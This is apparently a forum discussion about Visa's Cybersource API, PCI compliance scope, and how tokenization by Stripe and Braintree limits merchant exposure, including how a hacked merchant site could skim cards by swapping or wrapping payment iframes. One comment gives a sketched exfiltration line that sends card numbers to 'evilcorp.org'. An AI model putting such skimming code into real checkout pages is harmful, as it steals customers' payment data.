Ugh. Using this means that your application is in scope for PCI controls, since card data will be transmitted across your network into your application.
One of the reasons that Braintree and Stripe, for example, are so popular is because of the tokenization that they do prior to sending the card data to your systems, thereby putting your application out of scope for PCI.
If Visa added that one detail, this would be a fantastic solution.
Especially when most stripe using sites embed the payment request in their page and there's no way for end users to tell that it's using stripe without looking in the source of the page. If that got re-directed by an attacker 99+% of users wouldn't notice I reckon.
Stripe does not bypass PCI. Stripe does not transmit any credit card information to your servers and if there are no CC info on your server then you don't have to deal with PCI compliance.
If your server gets hacked you don't have any customer info stored on it. All you have is a stripe token.
Well the server holds the checkout page. And the server is hacked. So if attacker just add onblur = getjson(evilcorp.org?cc=value) to the checkout page attacker got the cc details. No?
ONE:
You don't use stripe and save all you customer info locally and procces it some other way
TWO:
You use stripe and never store any CC info on your server.
THEN:
Your server is hacked. In ONE, you lose customer CC info because it is stored on your server. In TWO, you do NOT. Sure they can redirect you to a fake payment page, but that will get noticed quickly and damage will be limited to "phished" users not your entire user base.
For CC details to be stored the attacker needs to modify files though. Other payment gateways just process CC details locally, it is not stored. So either the attacker modifies files to store CC details - or the attacker gets access to log files (but CC details do not belong there either off course).
But generally the credit card data is in fact transmitted via your website to stripe.
While not over the network, the user enters his credit card into the form ON YOUR WEBSITE that POSTs it on to stripe. This means your site has full access to the credit card info, choosing whether or not to store is up to you (or in case you get hacked, up to the hacker).
No. You embed Stripe's iframe, which posts to Stripe. The iframe has a separate origin from your own website, which creates a mutual isolation boundary between your site and that iframe: neither can read or modify the contents of the other. It's just as secure as e.g. Paypal's workflow of redirecting to the Paypal website and back.
It's not the same, if the merchant's webserver is compromised they can just change the src attribute of the iframe to point to their card number collecting iframe that wraps the Stripe iframe. With the redirect method the customer can see in the URL bar where their card data is being sent to.
Iframe is not the only option. You can also create your own HTML form with PAN, expiration date and CVV and tell stripe to get information from that form. Then stripe reads data from your form, encrypts it and sends cryptogram to stripe.com. Nothing stops you (or hacker) from reading that data too.
I'm aware, but I was talking more in the practical sense.
The attacker can replace the iframe with his own and proxy it, or perhaps simply display an error and ask the user to re-insert his payment info into the actual stripe form.
The attacker can replace the server's response with his own form that pretends to be Stripe's, too. In the end, there's no real defense against phishing.
Flow 1: User visits shop.com, selects some items, hits checkout, enters his credit card details into a form on shop.com, hits submit, gets emailed a receipt.
Flow 2: User visits shop.com, selects some items, hits checkout, is redirected to a form on processor.com, enters his card details, hits submit, gets email a receipt.
Now flow 1 and flow 2 could be the same internally if the form in flow 1 was actually from processor.com, just embedded into an iframe displayed on shop.com. But the key is that the user has no idea if it is or not.
The form in frame 1 could be in an iframe from anywhere, or it might actually be embedded directly into the page and posting, again, to anywhere. You just have to take it on faith that shop.com hasn't been compromised, and isn't now sending your details to malware.com.
In flow 2, you only enter your details into a form on processor.com; you no longer need to worry if shop.com has been compromised, you just need to verify that you're actually at processor.com, and not proccesor.com or whatever.
A form that has been replaced is quickly picked up on as the merchant stops receiving payments and the customer will call up to complain that they haven't received the product. An iframe around Stripe's can send the PAN off to a malicious server and then continue the payment process.
This is true, but attempting to defend against the general threat you're describing via PCI DSS is meaningless. Any web site, if hacked to serve misleading content, could collect any visitor's credentials for any payment method. This is true even for sites that normally have nothing to do with collecting card payments and therefore have no obligations under PCI DSS.
I'm not a big believer in the usefulness of schemes like PCI DSS anyway, but to the extent that they might be useful, it's as a checklist of good practices to follow when things are working properly. In that case, clearly there is a significant distinction between sending sensitive data over your own network to be stored on your own servers and sending sensitive data only to a trusted service provider that is better equipped to deal with it securely.
You're confusing "Payment Acceptance" with "Payment Processing". The APIs Visa is exposing on that site of theirs are specifically for payments processing - you have cardholder data and you use it for Authorization/Capture/etc.
Payment Acceptance on the other hand has many different flavors especially in the 'Card Not Present' environment where the end user checks out on the web site for example. There are multiple strategies for that in terms of PCI compliance - companies like Stripe, Cybersource(which is now part of Visa) etc provide those solutions.
There's a nice solution to this that, unfortunately, Stripe doesn't offer. It's the use of an encrypting keypad/mag stripe reader (seen as a USB device) to which your processor has the private key. Unencrypted credit card data never touches your system.
"Your application" where? If you're a merchant you need to collect payment data from the end user which is where PCI kicks in. If you want to minimize PCI footprint on your downstream systems you can tokenize the payment instrument before it hits them - Cybersource supports tokenization.
If you're on the processor side you need the PAN unless it's tokenized by the card network like Visa or MC which is how apple pay works from the tokenization standpoint.
> If Visa added that one detail, this would be a fantastic solution
Maybe I am understanding this incorrectly, but isn't that one detail the main value proposition. It almost sounds analogous to a Dropbox competitor offering a cloud storage API but the developer is responsible for handling syncing.
I am not saying it is totally worthless, maybe it has some value to big companies, but I am really failing to understand how this could be broadly useful.
"I am really failing to understand how this could be broadly useful."
For one, it is a huge step forward from existing payment processor communication. Most card acquirer software is vintage 1997, either by sending large amounts of unstructured text over the wire, or parsing through XML, or dealing with error codes that mean nothing from acquirer to acquirer. Switching banks, for example, is such a massive pain in the ass because you essentially have to rewrite your entire card processing code from scratch. Having this easy-to-use API will encourage competitors to play catch up, and it is a pretty good selling point for using Cybersource.
Second, and you can make an argument about monopolies or whatever, but PCI is essentially controlled by Visa and Mastercard. It is entirely possible for Visa to strongarm mom-and-pop-acquirer to play by this API, and then (hopefully) add the public tokenization later. For e-commerce, storing and transmitting only tokens is huge, and goes a long long way towards mitigating the severity of these massive retail breaches.
I apologize, but I still don't get it. Basically, this would allow someone to build software that physically can process credit cards? So basically, this is for companies that sell point of sale systems?
I am aware that credit card processing is quite poorly implemented, so it seems like they are:
* making it less bad
* further exercising their monopoly
* adding more security at the transmission level
so, like who would use this? Basically this is for something like square where you would actual take physical cards and process them? It seems like if a user has a debit card you can process a fee for like 5 basis points. So, Visa is offering a way for merchants and payment processors to improve the security of their (credit card companies) own product so feasibly, they could lower their fees in the future, because they wouldn't have to pass along the massive amount of costs fraud creates due to the systems insecurity.
So, like, who uses this? Just payment processors and companies big enough to have their own point of sale? It seems like a big bet to expend engineering resources on.
What is the upside? Security is priced in to the processing fee, right? So, basically there is no gain for someone who already has a working gateway unless they force them to use this. If you do that engineering spend and get it to work, it is a big bet that users will continue to use a fairly unsecured payment method and carry it around with them, and that mobile payments won't become normalized in the next few years.
The token comes from your acquirer (eg Stripe), not the bank-- the acquirer is the one holding the card info, then when you submit a request to your acquirer, they perform a lookup on the token, grab the card data, and do the real lifting of charging the card.
For a company like Visa, this should be a trivial feature.
https://developer.visa.com/products/cybersource/reference#cy...
Ugh. Using this means that your application is in scope for PCI controls, since card data will be transmitted across your network into your application.
One of the reasons that Braintree and Stripe, for example, are so popular is because of the tokenization that they do prior to sending the card data to your systems, thereby putting your application out of scope for PCI.
If Visa added that one detail, this would be a fantastic solution.